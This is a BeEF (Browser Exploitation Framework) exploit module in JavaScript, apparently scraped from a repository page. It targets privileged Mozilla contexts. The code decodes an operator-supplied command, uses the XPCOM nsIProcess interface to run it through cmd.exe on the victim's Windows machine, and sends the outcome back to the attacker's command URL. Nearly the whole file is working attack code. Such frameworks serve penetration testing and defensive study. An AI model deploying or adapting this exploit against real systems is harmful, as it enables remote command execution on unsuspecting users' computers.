Path: blob/master/modules/exploits/local_host/mozilla_nsiprocess_interface/command.js
1154 views
//1// Copyright (c) 2006-2025Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//56beef.execute(function() {78var result = "command sent";910try {11var command_str = beef.encode.base64.decode('<%= Base64.strict_encode64(@command_str) %>');12var getWorkingDir= Components.classes["@mozilla.org/file/directory_service;1"].getService(Components.interfaces.nsIProperties).get("Home",Components.interfaces.nsIFile);13var lFile = Components.classes["@mozilla.org/file/local;1"].createInstance(Components.interfaces.nsILocalFile);14var lPath = "C:\\WINDOWS\\system32\\cmd.exe"; // maybe "%WINDIR%\\system32\\cmd.exe" would work?15lFile.initWithPath(lPath);16var process = Components.classes["@mozilla.org/process/util;1"].createInstance(Components.interfaces.nsIProcess);17process.init(lFile);18process.run(false,['/c', command_str],2);19} catch (e) {20result = "an unexpected error occured";21}2223beef.net.send("<%= @command_url %>", <%= @command_id %>, "result="+result);2425});26272829